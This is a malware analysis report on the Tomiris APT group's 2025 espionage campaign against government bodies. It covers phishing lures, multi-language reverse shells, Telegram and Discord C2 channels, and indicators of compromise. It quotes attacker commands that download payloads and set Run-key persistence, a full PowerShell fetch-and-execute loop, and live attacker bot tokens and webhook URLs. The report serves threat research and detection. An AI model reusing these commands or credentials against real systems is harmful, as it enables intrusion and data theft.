{"id":27908,"date":"2025-11-28T02:35:02","date_gmt":"2025-11-28T02:35:02","guid":{"rendered":"http:\/\/localhost\/?p=27908"},"modified":"2025-11-28T02:35:02","modified_gmt":"2025-11-28T02:35:02","slug":"tomiris-wreaks-havoc-new-tools-and-techniques-of-the-apt-group","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=27908","title":{"rendered":"Tomiris wreaks Havoc: New tools and techniques of the APT group_SECURELIST:58398BFF1C1FE968B141314833D90E86"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-11-28T08:05:32&#8243;,&#8221;description&#8221;:&#8221;![](https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2025\/11\/26075144\/SL-Tomiris-Telegram-featured-990&#215;400.jpg)\\n\\nWhile tracking the activities of the Tomiris threat actor, we identified new malicious operations that began in early 2025. These attacks targeted foreign ministries, intergovernmental organizations, and government entities, demonstrating a focus on high-value political and diplomatic infrastructure. In several cases, we traced the threat actor&#8217;s actions from initial infection to the deployment of post-exploitation frameworks.\\n\\nThese attacks highlight a notable shift in Tomiris&#8217;s tactics, namely the increased use of implants that leverage public services (e.g., Telegram and Discord) as command-and-control (C2) servers. This approach likely aims to blend malicious traffic with legitimate service activity to evade detection by security tools.\\n\\nMost infections begin with the deployment of reverse shell tools written in various programming languages, including Go, Rust, C\/C#\/C++, and Python. Some of them then deliver an open-source C2 framework: Havoc or AdaptixC2.\\n\\nThis report in a nutshell:\\n\\n  * New implants developed in multiple programming languages were discovered;\\n  * Some of the implants use Telegram and Discord to communicate with a C2;\\n  * Operators employed Havoc and AdaptixC2 frameworks in subsequent stages of the attack lifecycle.\\n\\n\\n\\nKaspersky&#8217;s products detect these threats as:\\n\\n  * `HEUR:Backdoor.Win64.RShell.gen`,\\n  * `HEUR:Backdoor.MSIL.RShell.gen`,\\n  * `HEUR:Backdoor.Win64.Telebot.gen`,\\n  * `HEUR:Backdoor.Python.Telebot.gen`,\\n  * `HEUR:Trojan.Win32.RProxy.gen`,\\n  * `HEUR:Trojan.Win32.TJLORT.a`,\\n  * `HEUR:Backdoor.Win64.AdaptixC2.a`.\\n\\n\\n\\nFor more information, please contact intelreports@kaspersky.com.\\n\\n## Technical details\\n\\n### Initial access\\n\\nThe infection begins with a phishing email containing a malicious archive. The archive is often password-protected, and the password is typically included in the text of the email. Inside the archive is an executable file. In some cases, the executable&#8217;s icon is disguised as an office document icon, and the file name includes a double extension such as `.doc\\u003cdozen_spaces\\u003e.exe`. However, malicious executable files without icons or double extensions are also frequently encountered in archives. These files often have very long names that are not displayed in full when viewing the archive, so their extensions remain hidden from the user.\\n\\n![Example of a phishing email containing a malicious archive](https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2025\/11\/26181109\/tomiris-new-tools1.png)\\n\\nExample of a phishing email containing a malicious archive\\n\\nTranslation: \\n\\n**Subject** : The Office of the Government of the Russian Federation on the issue of classification of goods sold in the territory of the Siberian Federal District  \\n**Body** :  \\nDear colleagues!  \\nIn preparation for the meeting of the Executive Office of the Government of the Russian Federation on the classification of projects implemented in the Siberian Federal District as having a significant impact on the  \\nsocioeconomic development of the Siberian District, we request your position on the projects listed in the attached file. The Executive Office of the Government of Russian Federation on the classification of  \\nprojects implemented in the Siberian Federal District.  \\n**Password** : min@2025\\n\\n![Example of an archive with a malicious executable](https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2025\/11\/26181235\/tomiris-new-tools2.png)\\n\\nExample of an archive with a malicious executable\\n\\nWhen the file is executed, the system becomes infected. However, different implants were often present under the same file names in the archives, and the attackers&#8217; actions varied from case to case.\\n\\n### The implants\\n\\n#### Tomiris C\/C++ ReverseShell\\n\\n![Tomiris C\/C++ ReverseShell infection schema](https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2025\/11\/26181328\/tomiris-new-tools3.png)\\n\\nTomiris C\/C++ ReverseShell infection schema\\n\\nThis implant is a reverse shell that waits for commands from the operator (in most cases that we observed, the infection was human-operated). After a quick environment check, the attacker typically issues a command to download another backdoor \u2013 AdaptixC2. AdaptixC2 is a modular framework for post-exploitation, with source code available on GitHub. Attackers use built-in OS utilities like bitsadmin, curl, PowerShell, and certutil to download AdaptixC2. The typical scenario for using the Tomiris C\/C++ reverse shell is outlined below.\\n\\n**Environment reconnaissance.** The attackers collect various system information, including information about the current user, network configuration, etc.\\n    \\n    \\n    echo 4fUPU7tGOJBlT6D1wZTUk\\n    whoami\\n    ipconfig \/all\\n    systeminfo\\n    hostname\\n    net user \/dom\\n    dir \\n    dir C:\\\\users\\\\[username]\\n\\n**Download of the next-stage implant.** The attackers try to download AdaptixC2 from several URLs.\\n    \\n    \\n    bitsadmin \/transfer www \/download http:\/\/\\u003cHOST\\u003e\/winupdate.exe $public\\\\libraries\\\\winvt.exe\\n    curl -o $public\\\\libraries\\\\service.exe http:\/\/\\u003cHOST\\u003e\/service.exe\\n    certutil -urlcache -f https:\/\/\\u003cHOST\\u003e\/AkelPad.rar $public\\\\libraries\\\\AkelPad.rar\\n    powershell.exe -Command powershell -Command \\&#8221;Invoke-WebRequest -Uri &#8216;https:\/\/\\u003cHOST\\u003e\/winupdate.exe&#8217; -OutFile &#8216;$public\\\\pictures\\\\sbschost.exe&#8217;\\n\\n**Verification of download success.** Once the download is complete, the attackers check that AdaptixC2 is present in the target folder and has not been deleted by security solutions.\\n    \\n    \\n    dir $temp\\n    dir $public\\\\libraries\\n\\n**Establishing persistence for the downloaded payload.** The downloaded implant is added to the Run registry key.\\n    \\n    \\n    reg add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run \/v WinUpdate \/t REG_SZ \/d $public\\\\pictures\\\\winupdate.exe \/f\\n    reg add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run \/v \\&#8221;Win-NetAlone\\&#8221; \/t REG_SZ \/d \\&#8221;$public\\\\videos\\\\alone.exe\\&#8221;\\n    reg add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run \/v \\&#8221;Winservice\\&#8221; \/t REG_SZ \/d \\&#8221;$public\\\\Pictures\\\\dwm.exe\\&#8221;\\n    reg add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run \/v CurrentVersion\/t REG_SZ \/d $public\\\\Pictures\\\\sbschost.exe \/f\\n\\n**Verification of persistence success**. Finally, the attackers check that the implant is present in the Run registry key.\\n    \\n    \\n    reg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\n\\nThis year, we observed three variants of the C\/C++ reverse shell whose functionality ultimately provided access to a remote console. All three variants have minimal functionality \u2013 they neither replicate themselves nor persist in the system. In essence, if the running process is terminated before the operators download and add the next-stage implant to the registry, the infection ends immediately.\\n\\nThe first variant is likely based on the Tomiris Downloader source code discovered in 2021. This is evident from the use of the same function to hide the application window.\\n\\n![Code of window-hiding function in Tomiris C\/C++ ReverseShell and Tomiris Downloader](https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2025\/11\/26181939\/tomiris-new-tools4.png)\\n\\nCode of window-hiding function in Tomiris C\/C++ ReverseShell and Tomiris Downloader\\n\\nBelow are examples of the key routines for each of the detected variants.\\n\\n![Tomiris C\/C++ ReverseShell main routine](https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2025\/11\/26182020\/tomiris-new-tools5.png)\\n\\nTomiris C\/C++ ReverseShell main routine\\n\\n#### Tomiris Rust Downloader\\n\\nTomiris Rust Downloader is a previously undocumented implant written in Rust. Although the file size is relatively large, its functionality is minimal.\\n\\n![Tomiris Rust Downloader infection schema](https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2025\/11\/26182124\/tomiris-new-tools6.png)\\n\\nTomiris Rust Downloader infection schema\\n\\nUpon execution, the Trojan first collects system information by running a series of console commands sequentially.\\n    \\n    \\n    \\&#8221;cmd\\&#8221; \/C \\&#8221;ipconfig \/all\\&#8221;\\n    \\&#8221;cmd\\&#8221; \/C \\&#8221;echo %username%\\&#8221;\\n    \\&#8221;cmd\\&#8221; \/C hostname\\n    \\&#8221;cmd\\&#8221; \/C ver\\n    \\&#8221;cmd\\&#8221; \/C curl hxxps:\/\/ipinfo[.]io\/ip\\n    \\&#8221;cmd\\&#8221; \/C curl hxxps:\/\/ipinfo[.]io\/country\\n\\nThen it searches for files and compiles a list of their paths. The Trojan is interested in files with the following extensions: .jpg, .jpeg, .png, .txt, .rtf, .pdf, .xlsx, and .docx. These files must be located on drives C:\/, D:\/, E:\/, F:\/, G:\/, H:\/, I:\/, or J:\/. At the same time, it ignores paths containing the following strings: \\&#8221;.wrangler\\&#8221;, \\&#8221;.git\\&#8221;, \\&#8221;node_modules\\&#8221;, \\&#8221;Program Files\\&#8221;, \\&#8221;Program Files (x86)\\&#8221;, \\&#8221;Windows\\&#8221;, \\&#8221;Program Data\\&#8221;, and \\&#8221;AppData\\&#8221;.\\n\\nA multipart POST request is used to send the collected system information and the list of discovered file paths to Discord via the URL:\\n    \\n    \\n    hxxps:\/\/discordapp[.]com\/api\/webhooks\/1392383639450423359\/TmFw-WY-u3D3HihXqVOOinL73OKqXvi69IBNh_rr15STd3FtffSP2BjAH59ZviWKWJRX\\n\\nIt is worth noting that only the paths to the discovered files are sent to Discord; the Trojan does not transmit the actual files.\\n\\nThe structure of the multipart request is shown below:\\n\\n**Contents of the Content-Disposition header** | **Description**  \\n&#8212;|&#8212;  \\nform-data; name=\\&#8221;payload_json\\&#8221; | System information collected from the infected system via console commands and converted to JSON.  \\nform-data; name=\\&#8221;file\\&#8221;; filename=\\&#8221;files.txt\\&#8221; | A list of files discovered on the drives.  \\nform-data; name=\\&#8221;file2\u2033; filename=\\&#8221;ipconfig.txt\\&#8221; | Results of executing console commands like \\&#8221;ipconfig \/all\\&#8221;.  \\n  \\n![Example of \\&#8221;payload_json\\&#8221;](https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2025\/11\/26182352\/tomiris-new-tools7.png)\\n\\nExample of \\&#8221;payload_json\\&#8221;\\n\\nAfter sending the request, the Trojan creates two scripts, `script.vbs` and `script.ps1`, in the temporary directory. Before dropping `script.ps1` to the disk, Rust Downloader creates a URL from hardcoded pieces and adds it to the script. It then executes `script.vbs` using the `cscript` utility, which in turn runs `script.ps1` via PowerShell. The `script.ps1` script runs in an infinite loop with a one-minute delay. It attempts to download a ZIP archive from the URL provided by the downloader, extract it to `%TEMP%\\\\rfolder`, and execute all unpacked files with the .exe extension. The placeholder `\\u003cPC_NAME\\u003e` in `script.ps1` is replaced with the name of the infected computer.\\n\\nContent of `script.vbs`:\\n    \\n    \\n    Set Shell = CreateObject(\\&#8221;WScript.Shell\\&#8221;)\\n    Shell.Run \\&#8221;powershell -ep Bypass -w hidden -File %temp%\\\\script.ps1\\&#8221;\\n\\nContent of `script.ps1`:\\n    \\n    \\n    $Url = \\&#8221;hxxp:\/\/193.149.129[.]113\/\\u003cPC_NAME\\u003e\\&#8221; \\n    $dUrl = $Url + \\&#8221;\/1.zip\\&#8221; \\n    while($true){\\n        try{\\n            $Response = Invoke-WebRequest -Uri $Url -UseBasicParsing -ErrorAction Stop\\n            iwr -OutFile $env:Temp\\\\1.zip -Uri $dUrl\\n            New-Item -Path $env:TEMP\\\\rfolder -ItemType Directory\\n            tar -xf $env:Temp\\\\1.zip -C $env:Temp\\\\rfolder\\n            Get-ChildItem $env:Temp\\\\rfolder -Filter \\&#8221;*.exe\\&#8221; | ForEach-Object {Start-Process $_.FullName }\\n            break\\n        }catch{\\n            Start-Sleep -Seconds 60\\n        }\\n    }\\n\\nIt&#8217;s worth noting that in at least one case, the downloaded archive contained an executable file associated with Havoc, another open-source post-exploitation framework.\\n\\n#### Tomiris Python Discord ReverseShell\\n\\nThe Trojan is written in Python and compiled into an executable using PyInstaller. The main script is also obfuscated with PyArmor. We were able to remove the obfuscation and recover the original script code. The Trojan serves as the initial stage of infection and is primarily used for reconnaissance and downloading subsequent implants. We observed it downloading the AdaptixC2 framework and the Tomiris Python FileGrabber.\\n\\n![Tomiris Python Discord ReverseShell infection schema](https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2025\/11\/26183143\/tomiris-new-tools8.png)\\n\\nTomiris Python Discord ReverseShell infection schema\\n\\nThe Trojan is based on the \\&#8221;discord\\&#8221; Python package, which implements communication via Discord, and uses the messenger as the C2 channel. Its code contains a URL to communicate with the Discord C2 server and an authentication token. Functionally, the Trojan acts as a reverse shell, receiving text commands from the C2, executing them on the infected system, and sending the execution results back to the C2.\\n\\n![Python Discord ReverseShell](https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2025\/11\/26183248\/tomiris-new-tools9.png)\\n\\nPython Discord ReverseShell\\n\\n#### Tomiris Python FileGrabber\\n\\nAs mentioned earlier, this Trojan is installed in the system via the Tomiris Python Discord ReverseShell. The attackers do this by executing the following console command.\\n    \\n    \\n    cmd.exe \/c \\&#8221;curl -o $public\\\\videos\\\\offel.exe http:\/\/\\u003cHOST\\u003e\/offel.exe\\&#8221;\\n\\nThe Trojan is written in Python and compiled into an executable using PyInstaller. It collects files with the following extensions into a ZIP archive: .jpg, .png, .pdf, .txt, .docx, and .doc. The resulting archive is sent to the C2 server via an HTTP POST request. During the file collection process, the following folder names are ignored: \\&#8221;AppData\\&#8221;, \\&#8221;Program Files\\&#8221;, \\&#8221;Windows\\&#8221;, \\&#8221;Temp\\&#8221;, \\&#8221;System Volume Information\\&#8221;, \\&#8221;$RECYCLE.BIN\\&#8221;, and \\&#8221;bin\\&#8221;.\\n\\n![Python FileGrabber](https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2025\/11\/26183416\/tomiris-new-tools10.png)\\n\\nPython FileGrabber\\n\\n#### Distopia backdoor\\n\\n![Distopia Backdoor infection schema](https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2025\/11\/26183522\/tomiris-new-tools11.png)\\n\\nDistopia Backdoor infection schema\\n\\nThe backdoor is based entirely on the GitHub repository project \\&#8221;dystopia-c2\\&#8221; and is written in Python. The executable file was created using PyInstaller. The backdoor enables the execution of console commands on the infected system, the downloading and uploading of files, and the termination of processes. In one case, we were able to trace a command used to download another Trojan \u2013 Tomiris Python Telegram ReverseShell.\\n\\n![Distopia backdoor](https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2025\/11\/26183610\/tomiris-new-tools12.png)\\n\\nDistopia backdoor\\n\\nSequence of console commands executed by attackers on the infected system:\\n    \\n    \\n    cmd.exe \/c \\&#8221;dir\\&#8221;\\n    cmd.exe \/c \\&#8221;dir C:\\\\user\\\\[username]\\\\pictures\\&#8221;\\n    cmd.exe \/c \\&#8221;pwd\\&#8221;\\n    cmd.exe \/c \\&#8221;curl -O $public\\\\sysmgmt.exe http:\/\/\\u003cHOST\\u003e\/private\/svchost.exe\\&#8221;\\n    cmd.exe \/c \\&#8221;$public\\\\sysmgmt.exe\\&#8221;\\n\\n#### Tomiris Python Telegram ReverseShell\\n\\nThe Trojan is written in Python and compiled into an executable using PyInstaller. The main script is also obfuscated with PyArmor. We managed to remove the obfuscation and recover the original script code. The Trojan uses Telegram to communicate with the C2 server, with code containing an authentication token and a \\&#8221;chat_id\\&#8221; to connect to the bot and receive commands for execution. Functionally, it is a reverse shell, capable of receiving text commands from the C2, executing them on the infected system, and sending the execution results back to the C2.\\n\\nInitially, we assumed this was an updated version of the Telemiris bot previously used by the group. However, after comparing the original scripts of both Trojans, we concluded that they are distinct malicious tools.\\n\\n![Python Telegram ReverseShell \\\\(to the right\\\\) and Telemiris \\\\(to the left\\\\)](https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2025\/11\/26183756\/tomiris-new-tools13.png)\\n\\nPython Telegram ReverseShell (to the right) and Telemiris (to the left)\\n\\n#### Other implants used as first-stage infectors\\n\\nBelow, we list several implants that were also distributed in phishing archives. Unfortunately, we were unable to track further actions involving these implants, so we can only provide their descriptions.\\n\\n##### Tomiris C# Telegram ReverseShell\\n\\nAnother reverse shell that uses Telegram to receive commands. This time, it is written in C# and operates using the following credentials:\\n    \\n    \\n    URL = hxxps:\/\/api.telegram[.]org\/bot7804558453:AAFR2OjF7ktvyfygleIneu_8WDaaSkduV7k\/\\n    CHAT_ID = 7709228285\\n\\n![Tomiris C# Telegram ReverseShell](https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2025\/11\/26184006\/tomiris-new-tools14.png)\\n\\nTomiris C# Telegram ReverseShell\\n\\n##### JLORAT\\n\\nOne of the oldest implants used by malicious actors has undergone virtually no changes since it was first identified in 2022. It is capable of taking screenshots, executing console commands, and uploading files from the infected system to the C2. The current version of the Trojan lacks only the `download` command.\\n\\n##### Tomiris Rust ReverseShell\\n\\nThis Trojan is a simple reverse shell written in the Rust programming language. Unlike other reverse shells used by attackers, it uses PowerShell as the shell rather than `cmd.exe`.\\n\\n![Strings used by main routine of Tomiris Rust ReverseShell](https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2025\/11\/26184122\/tomiris-new-tools15.png)\\n\\nStrings used by main routine of Tomiris Rust ReverseShell\\n\\n##### Tomiris Go ReverseShell\\n\\nThe Trojan is a simple reverse shell written in Go. We were able to restore the source code. It establishes a TCP connection to 62.113.114.209 on port 443, runs `cmd.exe` and redirects standard command line input and output to the established connection.\\n\\n![Restored code of Tomiris Go ReverseShell](https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2025\/11\/26184231\/tomiris-new-tools16.png)\\n\\nRestored code of Tomiris Go ReverseShell\\n\\n##### Tomiris PowerShell Telegram Backdoor\\n\\nThe original executable is a simple packer written in C++. It extracts a Base64-encoded PowerShell script from itself and executes it using the following command line:\\n    \\n    \\n    powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABjAGgAYQB0AF8AaQBkACAAPQAgACIANwA3ADAAOQAyADIAOAAyADgANQ\u2026\u2026\u2026\u2026\\n\\nThe extracted script is a backdoor written in PowerShell that uses Telegram to communicate with the C2 server. It has only two key commands:\\n\\n  * `\/upload`: Download a file from Telegram using a `file_Id` identifier provided as a parameter and save it to \\&#8221;C:\\\\Users\\\\Public\\\\Libraries\\\\\\&#8221; with the name specified in the parameter `file_name`.\\n  * `\/go`: Execute a provided command in the console and return the results as a Telegram message.\\n\\n\\n\\nThe script uses the following credentials for communication:\\n    \\n    \\n    $chat_id = \\&#8221;7709228285\\&#8221;\\n    $botToken = \\&#8221;8039791391:AAHcE2qYmeRZ5P29G6mFAylVJl8qH_ZVBh8\\&#8221;\\n    $apiUrl = \\&#8221;hxxps:\/\/api.telegram[.]org\/bot$botToken\/\\&#8221;\\n\\n![Strings used by main routine of Tomiris PowerShell Telegram Backdoor](https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2025\/11\/26184409\/tomiris-new-tools17.png)\\n\\nStrings used by main routine of Tomiris PowerShell Telegram Backdoor\\n\\n##### Tomiris C# ReverseShell\\n\\nA simple reverse shell written in C#. It doesn&#8217;t support any additional commands beyond console commands.\\n\\n![Tomiris C# ReverseShell main routine](https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2025\/11\/26184454\/tomiris-new-tools18.png)\\n\\nTomiris C# ReverseShell main routine\\n\\n#### Other implants\\n\\nDuring the investigation, we also discovered several reverse SOCKS proxy implants on the servers from which subsequent implants were downloaded. These samples were also found on infected systems. Unfortunately, we were unable to determine which implant was specifically used to download them. We believe these implants are likely used to proxy traffic from vulnerability scanners and enable lateral movement within the network.\\n\\n##### Tomiris C++ ReverseSocks (based on GitHub Neosama\/Reverse-SOCKS5)\\n\\nThe implant is a reverse SOCKS proxy written in C++, with code that is almost entirely copied from the GitHub project Neosama\/Reverse-SOCKS5. Debugging messages from the original project have been removed, and functionality to hide the console window has been added.\\n\\n![Main routine of Tomiris C++ ReverseSocks](https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2025\/11\/26184545\/tomiris-new-tools19.png)\\n\\nMain routine of Tomiris C++ ReverseSocks\\n\\n##### Tomiris Go ReverseSocks (based on GitHub Acebond\/ReverseSocks5)\\n\\nThe Trojan is a reverse SOCKS proxy written in Golang, with code that is almost entirely copied from the GitHub project Acebond\/ReverseSocks5. Debugging messages from the original project have been removed, and functionality to hide the console window has been added.\\n\\n![Difference between the restored main function of the Trojan code and the original code from the GitHub project](https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2025\/11\/26184637\/tomiris-new-tools20.png)\\n\\nDifference between the restored main function of the Trojan code and the original code from the GitHub project\\n\\n## Victims\\n\\nOver 50% of the spear-phishing emails and decoy files in this campaign used Russian names and contained Russian text, suggesting a primary focus on Russian-speaking users or entities. The remaining emails were tailored to users in Turkmenistan, Kyrgyzstan, Tajikistan, and Uzbekistan, and included content in their respective national languages.\\n\\n## Attribution\\n\\nIn our previous report, we described the JLORAT tool used by the Tomiris APT group. By analyzing numerous JLORAT samples, we were able to identify several distinct propagation patterns commonly employed by the attackers. These patterns include the use of long and highly specific filenames, as well as the distribution of these tools in password-protected archives with passwords in the format \\&#8221;xyz@2025\\&#8221; (for example, \\&#8221;min@2025\\&#8221; or \\&#8221;sib@2025\\&#8221;). These same patterns were also observed with reverse shells and other tools described in this article. Moreover, different malware samples were often distributed under the same file name, indicating their connection. Below is a brief list of overlaps among tools with similar file names:\\n\\n**Filename (for convenience, we used the asterisk character to substitute numerous space symbols before file extension)** | **Tool**  \\n&#8212;|&#8212;  \\n\u0430\u043f\u043f\u0430\u0440\u0430\u0442 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u0439 \u0444\u0435\u0434\u0435\u0440\u0430\u0446\u0438\u0438 \u043f\u043e \u0432\u043e\u043f\u0440\u043e\u0441\u0443 \u043e\u0442\u043d\u0435\u0441\u0435\u043d\u0438\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u043c\u044b\u0445 \u043d\u0430 \u0442\u0435\u0440\u0440\u0438\u0442\u043e\u0440\u0438\u0438 \u0441\u0438\u0431\u0438\u0440\u0441\u043a\u043e\u0433\u043e \u0444\u0435\u0434\u0435\u0440\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043e\u043a\u0440\u0443\u0433\u0430*.exe (translated: Federal Government Agency of the Russian Federation regarding the issue of designating objects located in the Siberian Federal District*.exe) | Tomiris C\/C++ ReverseShell:  \\n078be0065d0277935cdcf7e3e9db4679  \\n33ed1534bbc8bd51e7e2cf01cadc9646  \\n536a48917f823595b990f5b14b46e676  \\n9ea699b9854dde15babf260bed30efcc Tomiris Rust ReverseShell:  \\n9a9b1ba210ac2ebfe190d1c63ec707fa Tomiris Go ReverseShell:  \\nc26e318f38dfd17a233b23a3ff80b5f4 Tomiris PowerShell Telegram Backdoor:  \\nc75665e77ffb3692c2400c3c8dd8276b  \\n\u041e \u0440\u0430\u0431\u043e\u0442\u0435 \u043f\u043e\u0447\u0442\u043e\u0432\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043f\u043b\u0430\u043d \u0438 \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430*.exe (translated: Work of the mail server: plan and performed work*.exe) | Tomiris C\/C++ ReverseShell:  \\n0f955d7844e146f2bd756c9ca8711263 Tomiris Rust Downloader:  \\n1083b668459beacbc097b3d4a103623f Tomiris C# ReverseShell:  \\nabb3e2b8c69ff859a0ec49b9666f0a01 Tomiris Go ReverseShell:  \\nc26e318f38dfd17a233b23a3ff80b5f4  \\n\u043f\u043b\u0430\u043d-\u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b \u0432\u0441\u0442\u0440\u0435\u0447\u0438 \u043e \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u0435\u043b\u0435\u0439*.exe (translated: Meeting plan-protocol on cooperation representatives*.exe) | Tomiris PowerShell Telegram Backdoor:  \\n09913c3292e525af34b3a29e70779ad6  \\n0ddc7f3cfc1fb3cea860dc495a745d16 Tomiris C\/C++ ReverseShell:  \\n0f955d7844e146f2bd756c9ca8711263 Tomiris Rust Downloader:  \\n1083b668459beacbc097b3d4a103623f  \\n72327bf7a146273a3cfec79c2cbbe54e  \\nd3641495815c9617e58470448a1c94db JLORAT:  \\nc73c545c32e5d1f72b74ab0087ae1720  \\n\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043e \u0446\u0435\u043d\u0442\u0440\u0430\u0445 \u043f\u0435\u0440\u0435\u0434\u043e\u0432\u043e\u0433\u043e \u043e\u043f\u044b\u0442\u0430 (\u043f\u0440\u0435\u0432\u043e\u0441\u0445\u043e\u0434\u0441\u0442\u0432\u0430) \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043c\u0435\u0436\u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b*.exe (translated: Provisions on Centers of Best Practices (Excellence) within the framework of the interstate program*.exe) | Tomiris PowerShell Telegram Backdoor:  \\n09913c3292e525af34b3a29e70779ad6 Tomiris C\/C++ ReverseShell:  \\n33ed1534bbc8bd51e7e2cf01cadc9646  \\n9ea699b9854dde15babf260bed30efcc JLORAT:  \\n6a49982272ba11b7985a2cec6fbb9a96  \\nc73c545c32e5d1f72b74ab0087ae1720 Tomiris Rust Downloader:  \\n72327bf7a146273a3cfec79c2cbbe54e  \\n  \\nWe also analyzed the group&#8217;s activities and found other tools associated with them that may have been stored on the same servers or used the same servers as a C2 infrastructure. We are highly confident that these tools all belong to the Tomiris group.\\n\\n## Conclusions\\n\\nThe Tomiris 2025 campaign leverages multi-language malware modules to enhance operational flexibility and evade detection by appearing less suspicious. The primary objective is to establish remote access to target systems and use them as a foothold to deploy additional tools, including AdaptixC2 and Havoc, for further exploitation and persistence.\\n\\nThe evolution in tactics underscores the threat actor&#8217;s focus on stealth, long-term persistence, and the strategic targeting of government and intergovernmental organizations. The use of public services for C2 communications and multi-language implants highlights the need for advanced detection strategies, such as behavioral analysis and network traffic inspection, to effectively identify and mitigate such threats.\\n\\n## Indicators of compromise\\n\\n_More indicators of compromise, as well as any updates to them, are available to customers of our APT reporting service. If interested, please contact intelreports@kaspersky.com._\\n\\n**Distopia Backdoor  \\n**B8FE3A0AD6B64F370DB2EA1E743C84BB\\n\\n**Tomiris Python Discord ReverseShell**  \\n091FBACD889FA390DC76BB24C2013B59\\n\\n**Tomiris Python FileGrabber**  \\nC0F81B33A80E5E4E96E503DBC401CBEE\\n\\n**Tomiris Python Telegram ReverseShell**  \\n42E165AB4C3495FADE8220F4E6F5F696\\n\\n**Tomiris C# Telegram ReverseShell**  \\n2FBA6F91ADA8D05199AD94AFFD5E5A18\\n\\n**Tomiris C\/C++ ReverseShell**  \\n0F955D7844E146F2BD756C9CA8711263  \\n078BE0065D0277935CDCF7E3E9DB4679  \\n33ED1534BBC8BD51E7E2CF01CADC9646\\n\\n**Tomiris Rust Downloader**  \\n1083B668459BEACBC097B3D4A103623F\\n\\n**JLORAT**  \\nC73C545C32E5D1F72B74AB0087AE1720\\n\\n**Tomiris Rust ReverseShell**  \\n9A9B1BA210AC2EBFE190D1C63EC707FA\\n\\n**Tomiris C++ ReverseSocks (based on GitHub Neosama\/Reverse-SOCKS5)**  \\n2ED5EBC15B377C5A03F75E07DC5F1E08\\n\\n**Tomiris PowerShell Telegram Backdoor**  \\nC75665E77FFB3692C2400C3C8DD8276B\\n\\n**Tomiris C# ReverseShell**  \\nDF95695A3A93895C1E87A76B4A8A9812\\n\\n**Tomiris Go ReverseShell**  \\n087743415E1F6CC961E9D2BB6DFD6D51\\n\\n**Tomiris Go ReverseSocks (based on GitHub Acebond\/ReverseSocks5)**  \\n83267C4E942C7B86154ACD3C58EAF26C\\n\\n**AdaptixC2**  \\nCD46316AEBC41E36790686F1EC1C39F0  \\n1241455DA8AADC1D828F89476F7183B7  \\nF1DCA0C280E86C39873D8B6AF40F7588\\n\\n**Havoc**  \\n4EDC02724A72AFC3CF78710542DB1E6E\\n\\n**Domains\/IPs\/URLs**  \\n**Distopia Backdoor**  \\nhxxps:\/\/discord[.]com\/api\/webhooks\/1357597727164338349\/ikaFqukFoCcbdfQIYXE91j-dGB-8YsTNeSrXnAclYx39Hjf2cIPQalTlAxP9-2791UCZ\\n\\n**Tomiris Python Discord ReverseShell**  \\nhxxps:\/\/discord[.]com\/api\/webhooks\/1370623818858762291\/p1DC3l8XyGviRFAR50de6tKYP0CCr1hTAes9B9ljbd-J-dY7bddi31BCV90niZ3bxIMu  \\nhxxps:\/\/discord[.]com\/api\/webhooks\/1388018607283376231\/YYJe-lnt4HyvasKlhoOJECh9yjOtbllL_nalKBMUKUB3xsk7Mj74cU5IfBDYBYX-E78G  \\nhxxps:\/\/discord[.]com\/api\/webhooks\/1386588127791157298\/FSOtFTIJaNRT01RVXk5fFsU_sjp_8E0k2QK3t5BUcAcMFR_SHMOEYyLhFUvkY3ndk8-w  